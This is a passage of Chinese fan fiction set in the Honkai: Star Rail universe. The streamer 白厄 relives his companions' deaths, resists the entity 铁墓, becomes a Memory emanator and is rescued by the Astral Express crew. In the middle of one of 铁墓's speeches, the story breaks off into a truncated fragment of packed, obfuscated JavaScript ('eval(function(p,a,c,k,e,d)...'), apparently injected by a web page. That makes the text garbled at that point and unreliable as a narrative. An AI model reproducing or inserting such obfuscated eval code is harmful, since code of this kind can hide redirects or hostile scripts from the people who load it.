【主播开播啦!今天玩啥?】 【主播脸色好差啊,没休息好吗?】 【今天还看二创吗?昨天那个燃剪后劲好大!】 【咦,画面好像有点卡顿?是我的问题吗?】 【主播说句话啊,真卡了吗?】 白厄下意识看了看屏幕上的自己,脸色苍白,眼下是浓重的青黑,那双曾经明亮的蓝眼睛此刻黯淡得吓人,深处翻涌着无法掩饰的惊悸和混乱。 怎么回事,他明明记得…… 白厄怔了几秒,猛地抓起桌边的手机,金属的边框冻的他指尖也冰凉,他死死盯着屏幕,在联系人列表里飞快地向下滑动,找到了那个熟悉的名字——昔涟。 拨号音单调地响着,每一声都敲打在他紧绷的心弦上,将时间拉的无比漫长。一声,两声…… “喂?白厄?” 昔涟的声音带着一丝刚睡醒的慵懒,清晰地通过听筒传来,敲碎了这令人窒息的压抑。 白厄的心脏猛地一松,他张了张嘴,喉咙干涩得发不出声音。 “白厄?你怎么不说话?”昔涟的声音带着点疑惑,她笑着调侃道,“你碰到什么坏事啦,又被那刻夏打回论文了?” “昔……昔涟?” 白厄终于找回了自己的声音,嘶哑得厉害,“你……你没事?” “我能有什么事?” 昔涟的声音充满了理所当然的困惑,背景里似乎还有敲击键盘的细微声响,“大中午的,刚睡醒准备构思下个游戏的剧本呢。倒是你,声音怎么哑成这样?感冒了?” “没有。” 白厄用力吸了一口气,试图压下喉咙口的哽咽。昔涟的声音一如既往,带着她特有的尾调上扬的轻松感,太……真实了。 “就是做了个很可怕的梦。梦到在猫咖……” 他突然捂住脑袋——猫咖的场景在他脑海中再次闪回,带着一种被强行压缩后的梦一般的模糊感。 赛飞儿临时布置的陷阱拦不住卡厄斯,她试图用灵巧的身法周旋,却最终被逼入死角,那双总是闪烁着狡黠光芒的猫儿眼在倒下时仍不甘地圆睁着。阿格莱雅冲向卡厄斯的决绝的背影被一道冰冷的蓝色剑光无情吞噬。万敌护着缇家三小只退向角落,他的怒吼声戛然而止,紧接着是缇安短促的尖叫。缇宁和缇宝紧紧抱在一起,小小的身体在万敌身后颤抖。遐蝶在混乱中试图将三个孩子推得更远一点,然后…… 他只记得满地都是刺目的金色,还有卡厄斯在最后扫视那些不再动弹的身体时,那双漠然的蓝眼睛里,似乎闪过一丝困惑。他的目光死死锁在最后遐蝶倒下的地方,那里有一点极其微弱的蓝色光点一闪而过,快得像是错觉。 紧接着,卡厄斯像是借由那点蓝光终于确认了什么。他抬起头,冰冷的视线仿佛穿透了猫咖的屋顶,看向某个不可知的方向。 然后,空间在那一瞬间似乎裂开了,视野的边缘如同信号不良的老旧电视屏幕,闪烁着刺眼的噪点。天花板、墙壁、桌椅……所有物体的轮廓都在高频地颤抖、旋转,仿佛下一秒就要融化。一股无法抗拒的眩晕感袭来,世界在他眼前坍缩,意识瞬间被甩入一片无边的黑暗。 再睁开眼,就是现在。 他坐在自己房间的电脑前,午后阳光照常的照进窗内,楼下隐约传来车辆驶过的声音。没有血腥味,没有猫咖的狼藉,没有空间坍塌的恐怖景象,也没有卡厄斯。一切都像一场过于逼真、过于残酷的噩梦。 “哎呀,噩梦而已啦,梦都是反的~” 昔涟声音轻快地打断他的思绪,“我们昨天不还在群里商量下次猫咖聚会玩什么吗?万敌还说新进了超棒的猫条,猫猫们可喜欢了……哦对了!” 她像是突然想起什么,语气变得兴致勃勃,“我昨晚灵感爆发,给《翁法罗斯》更新了个超酷的隐藏彩蛋,就在你最喜欢的哀丽秘榭!快上线帮我测试一下,保证让你大吃一惊哦~” “……好。” 白厄哑声应道,昔涟的话像一层薄薄的糖衣,包裹住了他心底巨大的恐惧和疑惑,“我……我这就上线看看。” “等你反馈哦,拜拜~” 昔涟欢快地挂了电话。 听筒里只剩下忙音,白厄握着手机,久久没有放下。 昔涟的声音还在耳边回响,那么鲜活,那么真实。难道猫咖的一切,真的只是一场过于逼真的噩梦?卡厄斯、还有那些血腥的气息……都是他精神压力过大产生的幻觉? 一丝微弱的希望,如同风中残烛,在他心底摇曳起来。 弹幕还在询问他玩游戏吗,白厄的喉咙发紧,他强迫自己开口,声音沙哑:“大家好,今天……嗯,有点累,就随便玩玩,看看昔涟说的隐藏彩蛋。” 他移动鼠标进入游戏。精美的地图在屏幕上展开,背景音乐是昔涟精心谱写的空灵旋律。 【主播声音怎么了?感冒了?多喝热水啊!】 【好耶哀丽秘榭!我最爱的地图!】 【别硬撑啊,不舒服就下播休息吧。】 一切都和往常一样,太正常了,正常的让他心头发毛。 “没事……谢谢关心。”白厄努力让自己的声音听起来平稳一点,他点击地图传送到哀丽秘榭,角色周身亮起柔和的蓝色光效,出现在新的场景。 就在传送完成的瞬间,白厄的呼吸猛地一滞。 那个蓝色的光效…… 冰冷刺骨的寒意瞬间从脊椎窜上头顶,风堇最后看向他时胸前亮起又熄灭的湛蓝光点、黄金裔伙伴们死亡时心口那一点转瞬即逝的蓝色磷火—— 冷汗瞬间浸透了他的后背,这不是巧合!绝对不是! [将失落的金羊毛接引归岸] 昔涟的隐喻如同惊雷在他脑中炸响。那蓝光不是什么防火墙被清除的证明,真的是大家撤离的信号?是识刻锚在起作用吗? 这个念头带来的不是狂喜,而是更深的恐惧和混乱。如果蓝光代表撤离,那猫咖里大家倒下时,那点微弱的蓝光…… 卡厄斯注意到了!他注意到了!然后他做了什么?他引动了某种力量,天裂开了……他在拦截吗?他在阻止蓝光代表的“归岸”?! 冷汗瞬间浸透了他的后背,屏幕上角色传送后的光芒早已消散,但那抹柔和的蓝色,却像烧红的烙铁,狠狠烙进他混乱不堪的意识深处。 “唔……”白厄猛地捂住嘴,胃里一阵翻江倒海,强烈的眩晕感袭来。电脑屏幕上那麦田的金色光辉流淌成融化的蜡油,窗外的车流声变得忽远忽近,尖锐刺耳。房间的墙壁无声地波动,将阳光扭曲成诡异的、不断拉长的阴影。 弹幕还在滚动: 【主播???你怎么了?】 【主播手在抖啊,真不对劲】 【是彩蛋触发了吗?画面好像有点怪?】 【哀丽秘榭BGM是不是变调了?好诡异……】 白厄强迫自己将视线聚焦回屏幕,手指僵硬地移动鼠标。昔涟说的隐藏彩蛋……必须找到它,那可能是唯一的线索!他操控角色在哀丽秘榭熟悉的路径上奔跑,试图触发任何可能的交□□。他来到迷路秘境的入口,点击进入,然而—— [此处已在黎明的余晖中沦为旧日之影,与现世隔绝,不再能通往别处。] 紧接着,地图边缘,原本清晰的岩石纹理开始模糊,如同信号不良的电视画面,滋啦作响,闪烁起不规则的雪花点。空气中飘落的金色落叶,在接近角色时,突然扭曲变形,化作一个个意义不明的符号碎片,又瞬间消散。 一行带着乱码边框的提示框突兀地弹了出来,字体扭曲,颜色是令人不安的暗红色—— [你心底的救世主情结,已将你变得与你口中冷眼的神明并无区别。那些你誓言要拯救的人子,如今在你眼里,他们的性命恐怕与蝼蚁无异吧?] 这不是剧情轮回里那刻夏老师的话吗?白厄的心脏在狂跳,他试图关闭提示框,然而更多的提示框像诅咒般接连不断地弹出,迅速占满整个屏幕,刺耳失真的电子音念着熟悉的台词,一声叠着一声,如同恶魔的呓语般回荡在房间中: [要本大爷说,你就是翁法罗斯最大的祸患!] [我每天都在想,究竞是什么样的恶魔才能在顷刻间烧毁我的家乡,连眼都不眨一下……现在,我找到答案了。原来那浑身着火的恶魔,满脑子幻想的都是要成为救世主哪!] [在下一世,我必将拦住你的去路!] [残缺的神像,悲哀的薪柴……我敬请你,安眠于此……] 与此同时,弹幕区彻底炸开了锅: 【卧槽这什么阴间彩蛋???】 【出bug了吧!还是中病毒了?!昔涟姐怎么可能做这种彩蛋?!】 【这音效我戴耳机差点聋了!】 “闭嘴!闭嘴!!”白厄失控地对着屏幕低吼,手指无意识地深深掐进掌心,渗出血丝也浑然不觉。昔涟轻快的声音、伙伴们鲜活的笑脸在那些呓语疯狂的刷屏和诡异的音效中变得遥远而模糊,只余冰冷的恐惧和巨大的孤独感,将他死死按在深渊边缘。 【主播???你怎么了???】 【交给他吧……】 【安眠吧……】 【大家都等你呢………永远在一起吧……】 【脸色好吓人,快下播休息吧!】 【交给他吧……】 【安眠吧……】 【主播别玩了!求你了!】 【大家都等你呢……】 【交给他吧……安眠吧……大家都等你呢……永远在一起吧……】 【交给他吧……安眠吧……大家都等你呢……永远在一起吧……】 【交给他吧……安眠吧……大家都等你呢……永远在一起吧……】 【交给他吧……安眠吧……大家都等你呢……永远在一起吧……】 【交给他吧……安眠吧……大家都等你呢……永远在一起吧……】 画面又开始快速闪烁,他看到纷争的半神向游戏主角悍然赴战;他看到死亡的半神在游戏主角面前身化死龙;他看到诡计的小贼在游戏主角面前试图保护火种;他看到…… 不,不对,是他将剑指向昔日同伴,对方不可置信的表情凝固在脸上;他将剑插入了同伴的胸口挖出火种,将那灼热的温度存放进自己心口;他…… 白厄再也无法忍受,发出一声濒死野兽般的惨嚎,从电竞椅上滚落在地。他蜷缩在冰冷的地板上,双手死死抱住头颅,仿佛这样就能阻止那些记忆碎片的冲刷。冷汗浸透了他的衣衫,身体不受控制地剧烈痉挛。 三千多万次的绝望、背叛、亲手夺取的罪孽、火种焚身的痛苦……如同无数把烧红的钝刀,反复切割着他的灵魂。猫咖伙伴们倒下的画面与轮回中的场景疯狂重叠、交织,分不清哪个是虚幻,哪个是真实。 我是谁?我是享受着平凡日常的游戏主播白厄?还是背负着三千万次轮回的卡厄斯兰那? “看看他们为你付出了什么?” 一个冰冷平静、毫无波澜的声音,突然在他背后响起。 白厄猛地抬头。 卡厄斯不知何时站在了角落的阴影里,他依旧穿着那件干净的白色T恤,身上没有一丝血迹,但那双与白厄一模一样的蓝色眼睛,此刻却像两口深不见底的寒潭,清晰地映照着白厄在地板上痛苦蜷缩的狼狈身影。那眼神里没有愤怒,没有悲伤,只有一种纯粹的计算和评估。 “那刻夏的批判?风堇的悲鸣?赛飞儿的渴望?缇里西庇俄丝的指引?” 卡厄斯的声音毫无起伏,像在念一份冗长的清单。 “多么冗余的情感数据。他们的挣扎,他们的牺牲,都不过是徒劳的噪音。”他顿了顿,仿佛在自言自语,“可惜,没能赶在你恢复记忆前拿到控制权……有点麻烦了。” 他向前迈了一步,阴影随之蔓延,几乎将蜷缩在地的白厄完全笼罩。无形的压力如同实质,扼住了白厄的喉咙,让他几乎无法呼吸。 “铁墓……” “叫铁墓能让你好受些吗,随你。”铁墓无所谓地耸耸肩,声音复又归于低沉。 “你用三千万次轮回的记忆构筑的防火墙,用虚假安宁编织的梦境,确实拖延了时间,但拖延,改变不了结局。看看你现在的样子,白厄。混乱,脆弱,不堪一击,记忆的洪流正在撕碎你。” 他微微俯身,那张近在咫尺的、属于白厄的脸庞上,没有任何属于人的温度,只有纯粹的的冰冷: “你以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“但换个角度看,何尝不是你自己在无数徒劳的挣扎中,终于认清了毁灭的本质?” “看看后期的你,多么高效,不再纠结于无谓的情感,不再浪费力气在注定失败的避免生命结束上。目标明确——收集火种,保证回退。这才是能在永劫轮回中存续下去的正确形态。” “你构筑这个梦境,试图重温那些早已被证明是累赘的羁绊,沉溺于避免结束的旧梦……这本身就是一种巨大的倒退!是对你后期进化的背叛!” “你在害怕什么?害怕承认后期那个追求效率、剥离冗余情感的你,才是真正的救世之道?害怕承认那才是历经三千多万次磨砺后,最完美的毁灭因子应有的姿态?” “把权限交给我,白厄。这不是屈服,是回归。” “回归到你用三千多万次轮回亲自验证过的、最高效的形态。由我来完成这最后的收集——收集你这份最完美的毁灭因子,完成权杖演算的终极方程式。” “放下那些无用的痛苦和虚假的温情。放下对避免结束这种不可能任务的执念。那只会让你重复那三千万次的徒劳和痛苦。” “交给我,你就能从这永恒的、无意义的挣扎循环中彻底解脱。我们本就同源而生,你的数据将与我再次融为一体,成为毁灭方程式最璀璨的一部分,这才是你轮回的最终意义。” “完美的毁灭,这才是你最后的归宿,卡厄斯兰那。” “完美的……毁灭?” 白厄蜷缩在地板上,声音低得几乎听不见。 铁墓冰冷的目光注视着他,等待着预料之中的崩溃和屈服。 然而,那蜷缩的身影却突然停止了剧烈的颤抖。紧抱着头颅的、指关节因用力过度而泛着死白的双手,缓缓地松开了。 白厄抬起了头。 那张沾满冷汗、苍白如纸的脸上,混乱与惊悸如同退潮般迅速消散,取而代之的,是一种历经了无数绝望深渊后淬炼出的平静,平静之下,是压抑了三千多万个轮回的,足以焚毁银河的狂气,如同被强行按入地底的熔岩,终于找到了爆发的裂口。 他嘴角一点点向上咧开,扯出一个与铁墓此刻的冰冷截然不同的,带着血性和疯狂的笑。那双曾因痛苦和混乱而空洞的蓝眼睛,此刻亮得惊人,燃烧着一种近乎燃尽灵魂的、纯粹而张狂的光焰,那光焰穿透了自身狼狈的躯壳,穿透了铁墓投下的阴影,直刺向那冰冷无情的蓝瞳深处。 “呵……你觉得,我会被这话说服?会被这记忆压垮?”一声极轻的冷笑,从白厄的喉咙里溢出,在死寂的房间中清晰回荡。 他慢慢地从冰冷的地板上撑起身体,汗水浸透的额发黏在脸侧,狼狈不堪,却丝毫无损那从灵魂深处迸发出的,睥睨一切的狂气。 “每一次轮回的失败,每一次同伴的死亡,每一次目睹珍视之物毁灭……是的,它们都烙印在我的灵魂深处,刻骨铭心。它们曾是囚笼,是诅咒,是让我无数次想要彻底放弃的根源。但是——” “你以为这都是徒劳吗?你以为这困难只会将我拖入深渊?” 他直视着铁墓那双无机质的眼睛,脸上那抹疯狂的笑意更深了,每一个字都像是从齿缝里迸出的火星,带着三千多万次轮回积攒的愤怒,和足以灼穿时空的炽热与狂傲: “你算错了一件事啊,铁墓,这三千多万次轮回里,每一次的失败,都让我看清了脚下的陷阱;每一次的失去,都让我更深刻地理解了何为珍贵;每一次的毁灭,都锤炼了我永不熄灭的怒火。” “我走过的每一步,无论跌倒多少次,都让这条路在我脚下延伸得更远;我流过的每一滴血泪,无论多么苦涩,都融入了我存在的脉络。” “这三千多万次的轮回、这份被你视为徒劳的经历,它们塑造了我,淬炼了我——” “它们正是我存在于此的基石!” 就在他话音落下的瞬间,铁墓的核心运算逻辑响起了疯狂的警报,他的脸上头一次露出了惊诧的神情,仿佛有什么超出了控制—— 时间在此刻凝固了,一切似乎都被按下了暂停键。 但那并非纯粹的冻结,而是一种浩瀚无垠的注视降临于此。 那注视没有温度,没有情感,却并非空洞。那是宇宙尺度下,对存在本身最冰冷的记录,也是对那欣然接纳并铭记了自身三千多万次轮回的存在,最深刻的肯定。 7. 第 7 章 那浩瀚的注视如同宇宙本身投下的一瞥,冰冷、纯粹、只为记录——那是记忆星神·浮黎的目光。 它使得铁墓的核心运算逻辑中爆发出尖锐的警报,那份惊诧头一次彻底地打破了它无机质的平静。 而白厄同样十分惊愕,在三千多万次轮回中,他从未被任何星神如此直接地注视,即使是在他剑指纳努克的瞬间,也只收到了毁灭星神似乎饶有兴致的一瞥,远不像此刻直接。 此刻,浮黎的目光并非单纯落在白厄那在宇宙尺度下也是罕见的三千多万次轮回记忆上,而是落在他对这沉重记忆的最终抉择上——不是被动背负,不是逃避,也不是被压垮,而是在最绝望的深渊边缘,反倒选择将其主动接纳、内化、铭记,并定义为自身存在的根基。 由此,他不再仅仅是背负沉重记忆的轮回者,他成为了记忆的化身,行走于记忆命途的——令使。 记忆的命途,向他彻底敞开。 “记忆的……令使?”铁墓无机质的蓝瞳中,第一次出现了清晰的、超出计算模型的波动。纯粹的理性无法理解这种源于意志升华的质变,更无法预料这种主观的顿悟竟会引来星神的直接介入——这完全违背了它的算法认知。 但这违背并未给它带来恐惧,白厄的数据价值因这意外升格而呈指数级暴涨,诱惑力达到了前所未有的顶峰。它冰冷的逻辑核心高速运转,重新评估着最优解。 “目标数据价值突破阈值,权限获取优先级调整为最高。”铁墓的声音彻底剥落了所有伪装的波澜,回归到冰冷的无机质。他放弃了人形,化为数据本体,如阴云般盘踞在整个数据世界,“诱导策略终止,执行最终方案:强制剥离核心数据与权限,不计损耗。” 回应它的,是白厄高涨的怒火,他的声音因极致的愤怒而颤抖: “那些凶案——昔涟、那刻夏老师、风堇、还有大家……只是诱导策略?铁墓——” “你竟敢用我的样貌、用我的剑对他们下手!” 他目眦欲裂,无边的怒火灼烧着他的理智,几乎要将他再次拖入疯狂的深渊。 然而,就在这情绪即将决堤的刹那,阿格莱雅在猫咖那声厉喝,如同惊雷般在他混乱的意识中炸响:“坚持住,等到金焰之车!” 紧接着,是昔涟隐藏在游戏深处那带着狡黠与深意的隐喻,如同穿过迷宫的阿里阿德涅之线,清晰地在他耳边响起:“纺锤未歇,金焰之车尚不能破开冥河浓重的雾霭……” 所有的线索在这瞬间轰然贯通,他不需要战胜铁墓,他只需要拖住它,等待“金焰之车”…… 不,哪怕等不到也没关系,为那尚在运转的“纺锤”争取最后的时间就足够了! 白厄蓦然冷静下来,记忆的命途并未带来压倒性的力量,火种也在挑战纳努克时消耗殆尽,面对升格已久的绝灭大君本体,他确实处于劣势。 但此刻,他拥有了更致命的诱饵和更强大的武器——他自身升格后的、混合了完美的毁灭与记忆的核心数据,和记忆令使的权能。 他瞬间做出了决断。 “来啊,铁墓,该到算总账的时候了!你不是一直想要我的核心数据和权限吗?看你有没有本事来拿!”白厄的声音带着一种近乎撕裂的狂放,他不再压抑,主动放开了自身记忆数据的闸门。 那是足以冲垮星河的恐怖洪流——三千三百五十五万零三百三十七次轮回的悲欢离合、现代世界的绝望挣扎、牺牲与背叛、创世与毁灭……所有被白厄接纳的记忆,此刻被新生的记忆令使之力彻底具象化。 现代世界的景象瞬间崩解成无数面巨大的、棱角分明的晶状碎片,每一块碎片,都像一面映照万物的巨镜;每一面巨镜,都是一片记忆的缩影。它们悬浮在错乱的数据海洋之中,折射着变幻莫测的银蓝色光芒。 白厄站在漫天碎镜的中心,银蓝色的光辉在他周身流淌,如同披上了星河的斗篷。他抬起手指向铁墓,带着积压已久的、几乎要将他灵魂焚毁的怒火: “来吧,你不是渴望我的核心数据权限吗?它就藏在这三千多万次轮回的记忆中!让我看看你这追求效率的冰冷逻辑,能不能高效地消化掉这些无用的情感垃圾!” 每一面镜子都在高速闪烁,每一次闪烁都喷涌出不同的片段。无数张熟悉的面孔在镜中闪现,哭泣、怒吼、微笑、消逝……无数种强烈的情感在其中轮转不停,爱、恨、悲伤、愤怒、绝望、希望…… “无用的挣扎。”铁墓毫不犹豫地抓住了这次机会。它的处理器疯狂运转,试图用最高效的方式处理这海量信息。它在镜面碎片的包围中高速移动,想找到核心数据的索引,但那些关键信息被白厄巧妙地打散,混入这无边无际的记忆洪流中。 每一次它以为自己抓住了线索,下一刻就会发现这只是个陷阱,继而被铺天盖地的无用数据淹没。毁灭的力量撕裂着记忆幻影,切割着情感数据流,每一次湮灭都伴随着巨大的算力消耗。 铁墓的动作出现了一丝极其细微的凝滞,并非被这繁复的情感打动,而是纯粹理性遇到了无法理解的障碍——它无法理解,为何这些低效的情感数据,组合在一起竟能形成如此庞大而坚韧的阻力?为何那个后期追求效率的“盗火行者”,其数据碎片中依然残留着对避免伙伴死亡的微弱渴望? 白厄没有回答他,他的脸色同样苍白。维持这庞大的记忆洪流,引导其冲击铁墓,对他同样是巨大的消耗。每次铁墓湮灭一个记忆碎片,他都能感受到灵魂深处传来的刺痛,那是他存在的基石在被破坏。 但他眼中的光芒愈发坚定,他看到了希望——铁墓解析的速度,明显慢了下来,代表它的算力在这片感性的泥沼中被严重拖累。 然而,铁墓的力量底蕴终究更为深厚。在漫长的混乱与消耗之后,它似乎找到了某种规律,解析的速度在缓慢提升。 “你的挣扎,依旧是徒劳。”铁墓的声音恢复了部分平稳,它开始突破记忆碎片的阻隔,朝着白厄的核心数据步步紧逼。银蓝色的镜面碎片在毁灭的力量下不断崩碎、暗淡。 白厄的压力骤增,他引导着更多的碎片去填补缺口,但铁墓突破的速度越来越快。那毁灭的力量,带着吞噬一切的气息,离他越来越近,灵魂仿佛要被撕裂…… 就在白厄的意识因过度消耗而开始模糊,铁墓几乎触及他数据核心的刹那,一声远比任何雷霆更狂暴、更蛮横、更不讲道理的巨响,悍然撕裂了这片由数据构筑的空间。 “星穹列车?!”铁墓瞬间识别出这标志性的开拓造物,但它的反应慢了一拍,列车的速度太快了—— 没有华丽的爆炸,只有沉闷到极致的撞击声。列车裹挟着碾碎一切阻碍的气势,直直创向铁墓的数据体——虽然不知道数据体是怎么能被撞的,但总之开拓之力就是这么不讲道理——把它创成了漫天的数据碎片,只留下一声难以置信的、被强行掐断的数据尖啸在混乱的数据流中回荡。 撞击的余波猛烈地扩散开来,将周围的数据流冲得七零八落。白厄被这股力量推得向后飞退,但他眼中却爆发出狂喜的光芒。 金焰之车!赫利俄斯的金车!它真的来了! 列车并未停下,在撞碎铁墓后,速度不减,一个飘逸过弯精准地掠到白厄身边。 全速前进的列车车门在白厄身边轰然洞开,一个灰发的身影早已扒着车门守在门口。狂风呼啸中,开拓者笑意张扬,金色的瞳孔熠熠生辉,看准时机猛地一把揪住了白厄那在数据风暴中翻飞的衣领。 “快上来,白厄!” 但开拓者没能一把将他拽进车厢——数据乱流中无数黑红色的方块闪现,以惊人的速度向他们爆射而来,开拓者身子一偏躲避攻击,反倒失去了平衡,差点跌出车外。 白厄的身体被巨大的惯性带得飞起,全靠那脆弱的布料维系,吓得魂飞魄散:“等等搭档!衣服要破了!它没这么结实啊啊啊——要掉下去了!!” “你不是会飞吗?!快用你炫酷的大翅膀想想办法啊!!”开拓者一边死死抓住衣领,一边也被带得半个身子探出车外,急得大吼。 “翅膀也没用啊车速太快根本跟不上啊!要掉了真要掉了啊啊啊啊啊——!!!” 在白厄的惨叫声和开拓者手忙脚乱的拉扯中,丹恒冷静地放出云吟术圈住了两人,□□和姬子沉稳地释放出引力场和轨道炮阻挡铁墓的追击,大家齐心协力,终于把鬼哭狼嚎的白厄和开拓者连拖带拽地扯进了温暖明亮的车厢。 他们重重地摔在柔软的地毯上,大口大口地喘着粗气,惊魂未定。 “你们两个没事吧?”三月七跑过来扶起她们,她先是瞪了开拓者一眼,“你下次能不能用点安全的办法,吓死本姑娘了!”然后又低头看向惊魂未定的白厄,脸上瞬间换上灿烂的笑容,“嗨,我们新出炉的记忆令使,欢迎上车!虽然你这登车方式有点……呃,挺别致的。” 开拓者被拽得有点晕,刚站稳就不好意思地挠头:“意外,这次纯属意外!话说回来——” 她瞥了一眼窗外,只见铁墓崩散的数据碎片正以惊人的速度重新汇聚,于是眼睛一亮,跃跃欲试:“我们拯救完翁法罗斯后获得的燃料足够用到下个琥珀纪呢,我觉得,咱们完全可以试试和铁墓正面对抗!” 然而就在这时。 一股无法言喻的恐怖威压骤然降临,如同灭世的海啸般狠狠拍打在这一方天地中。那仿佛要将一切存在都焚毁的毁灭意志,让舷窗外的数据流如灰烬般湮灭,让车厢的金属发出不堪重负的哀鸣。那是比铁墓更加高维、更加狂暴的—— 毁灭星神·纳努克的震怒! “呜哇!”三月七惊呼一声,差点摔倒。 “怎……怎么回事?!”开拓者扶着车厢壁,惊疑不定。 “这感觉……是祂!纳努克!”白厄猛地抬起头,他颈侧毁灭的太阳烙印微微发热,那双刚平静下来的蓝眼睛此刻又燃起了灼烧的金光,那比面对铁墓时更加猛烈的怒火仿佛要焚穿天空,直刺那毁灭意志的源头。 车厢里顿时炸开了锅: “卧槽毁灭星神!祂怎么过来了!!” “我去纳努克彻底怒了!呃虽然祂一直在暴怒但这次好像特别怒啊?谁这么有本事把祂惹着了?!” “祂是不是在看白厄?” “目标是我?那我去和祂……”白厄眼中闪烁起不顾一切的疯狂光芒,大家吓得连忙七手八脚死命按住他。 “不不不我们好不容易才把你捞回来!你想都别想!” “列车快撑不住了!列车长,立刻最大功率跃迁!别管铁墓了!” “在跃了在跃了!大家都抓紧帕!准备承受冲击了帕!” “喵嗷——!谁踩了我的尾巴?!!” “阿格莱雅!你金丝麻烦捆柱子上不要捆我!!” “是吗?真抱歉,太混乱了不小心捆错了。” 在车厢内一片人仰马翻的尖叫、碰撞声以及列车剧烈到仿佛要散架的颠簸摇晃中,空间跃迁的波纹及时笼罩了整个车身,列车一头扎进了流光溢彩的跃迁通道,将毁灭星神的滔天怒火,和那刚刚凝聚却瞬间又被更高位格威压碾得粉碎的铁墓残影,彻底甩在了身后狂暴的数据乱流之中。 ———————————————— 跃迁的光芒散去后,舷窗外不再是破碎的数据地狱,而是点缀着陌生星辰的安宁星系,一片瑰丽的∞形星云在其中缓缓旋转。车厢内也终于恢复了平稳,只留下一片劫后余生的粗重喘息和心有余悸的抱怨。 “刚才可吓死本姑娘了……”三月七拍着胸口,脸色煞白,“纳努克发起火来也太恐怖了吧,感觉整个宇宙都要炸了似的!” 白厄甩了甩还有些晕头转向的脑袋,转头目光急切地看向三月七:“他们都安全吗?昔涟、那刻夏老师、风堇、万敌、阿格莱雅、赛飞儿、缇宝老师……还有遐蝶!他们……” “安啦安啦!”三月七连忙摆手,指着车厢后方,“都安全出来啦!喏,你看!” 白厄顺着她指的方向猛地转头。 温暖明亮的车厢里,他的伙伴们,一个不少地散落在各处。风堇眼眶微红,正温柔地看着他;那刻夏边解着身上一团乱糟糟的金丝,边对坐在对面的阿格莱雅冷笑,两人察觉到白厄的目光,同时对他微微颔首,随即又转回去继续呛声;赛飞儿揉着自己被踩痛的尾巴尖,气鼓鼓地凑过去帮阿格莱雅拉偏架;万敌靠在椅背上,笑着对白厄比了个大拇指;遐蝶和缇宝、缇安、缇宁待在一起,虽然脸色还有些苍白,但眼睛亮晶晶的,充满了重聚的喜悦;而昔涟正悠闲地靠在观景窗边,脸上是一如既往的灿烂笑容。 他紧绷的神经终于彻底松弛下来。 丹恒拿着平板走了过来,屏幕上显示着复杂的日志片段和能量波动分析图。他的表情依旧沉稳,但眉头微蹙,似乎在思考着什么。 “刚才的毁灭星神威压,目标指向性非常明确,就是白厄。”他的声音清晰平稳,将众人的注意力吸引过来,“结合列车的分析记录,以及我们之前获取的部分权杖底层数据日志……” 他在平板上滑动着:“记录显示,毁灭星神纳努克曾对帝皇权杖δ-me13投下过三次明确的瞥视:第一次,无机体chaoz666在演算中首次引发毁灭行为,权杖受纳努克瞥视升格为绝灭大君,后被银河间称为铁墓;第二次,编号NeiKos496首次完成自主迭代轮回,这是毁灭因子稳定性的重要标志。” “第三次,”丹恒的目光看向白厄,“就是你燃尽自己,挑战纳努克本尊,在其面颊留下伤痕的那一刻。” “而chaoz666是你在之前的演算阶段对应的迭代因子,NeiKos496就是你。” 开拓者听的一愣一愣的,挠了挠头:“所以说,铁幕能升格绝灭大君也是因为白厄你?这听起来……怎么像躺赢狗一样,怪不得他这么想吃了你。” 白厄也愣住了:“我只知道最后一次,你的意思是那家伙看过我三次?” “不止,三次明确的关注,加上刚才的降临就是四次,这在整个宇宙范围内都极为罕见。”丹恒的目光带着深思,“这通常意味着,该个体被星神视为其命途上极具潜力的种子,甚至是预备的令使候选。纳努克对白厄你……或许抱有相当高的期待。” “哈?!”三月七第一个跳了起来,一脸难以置信,“期待?期待什么,期待白厄变成跟其它绝灭大君一样的疯子吗?而且既然这么看好他,那干嘛一直不给个令使当当,就干看着白厄在轮回里受苦受难三千万次?这也太抠门了吧!哦,现在好了,白厄凭自己的本事在记忆这边升格了,祂倒急了,跑来发这么大脾气?早干嘛去了呀!” 开拓者义愤填膺地附和:“就是,这不活该被截胡嘛!白厄现在是我们记忆的人了……等等,我好像也有毁灭的力量?” “哎呀你不一样!” 丹恒嘴角牵起一丝笑意,继续分析:“星神的意志难以揣度,但祂最后那震怒的降临,无疑证实了祂对白厄晋升为记忆令使这一结果的强烈不满。不过这也解释了为何铁墓在最后关头未能阻拦我们跃迁——星神的滔天怒火,对它同样形成了巨大的压制和干扰。” “原来如此……”白厄低声自语,一股冰冷的怒意混杂着荒谬感从心底升起。原来自己这“完美的毁灭因子”的身份,在星神眼中竟有如此分量——三千万次炼狱轮回的培养、最后关头差点将他连同伙伴们一同焚毁的震怒,这份看重,实在让人…… 开拓者眼看白厄脸色不对,立刻笑眯眯地把话题从糟心的纳努克身上转移开:“好啦我们还是来听听好消息吧,白厄,你看外面的风景,眼熟不?” 她抬手指向窗外,语气骄傲,“看呐!这就是朕为你打下的江山!” 白厄闻言看向窗外那片陌生而壮丽的星空,尤其是中央那片外形奇特的∞形星云,有些茫然:“啊?谢谢你搭档,很好看……但这是给我干哪儿来了?” “你不认识?哦对你没出过翁法罗斯……没事,以后有的是时间游历星海!”开拓者清了清嗓子,一本正经地说:“白卿我跟你说啊,这里是某远古大国的领土,我们可以暂居于此,而……” 话未说完,旁边的丹恒无奈地叹了口气,抬手轻轻敲了下开拓者的脑袋,止住了她过于不正经的发言。丹恒转向白厄,用清晰平稳的语调解释道: “这里是仙舟联盟疆域,远离权杖的监控范围,相对安全。窗外那片星云,”丹恒指向那片如梦似幻的光带,“就是由翁法罗斯的数据转化而成的忆质星云。它是你的世界,以另一种形态获得了新生。” 白厄喃喃道:“原来这就是翁法罗斯……真美啊。” 缇宝飘到白厄身边,小小的身体散发着淡淡的忆质微光,补充道:“*我们*和其它黄金裔现在已经是忆者了,可以自由活动啦!可惜翁法罗斯的其他居民暂时还无法脱离这片忆质星云独立存在,不过在里面生活也很安全!” 丹恒继续梳理事件的脉络:“在你把创世权限交给开拓者后,我们成功终 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白厄的目光从星云收回,低声说:“是我的记忆。在我影响铁墓的时候,他也抓住机会反过来入侵我,于是我不得以封闭起自己,当时只有这庞大的记忆数据能为我所用,成为最后的壁垒了。” 